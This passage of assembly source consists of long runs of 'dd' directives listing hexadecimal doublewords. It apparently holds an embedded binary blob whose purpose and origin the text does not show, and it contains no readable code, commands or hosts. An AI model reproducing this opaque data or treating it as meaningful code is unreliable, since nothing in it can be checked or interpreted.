0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h, 6D37803h dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h dd 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h, 0AC2EDC8Ah dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h dd 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h dd 480FDF05h dd 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh dd 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h dd 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch dd 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh, 0B4B80A62h dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h dd 5CBA0B4Eh, 4801FBC9h dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h dd 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h, 0B409C401h dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h dd 54015DE7h, 0C0A38C1Bh dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h, 19F7EAA7h dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h, 0C74543E4h dd 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h, 30AE2040h dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h, 0DEE7A627h dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh, 763BC812h dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h, 148D7A37h dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h, 884740BDh dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h dd 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h, 57ADCC67h dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h dd 410072FBh, 880F7F0Ch, 2402C4Ch, 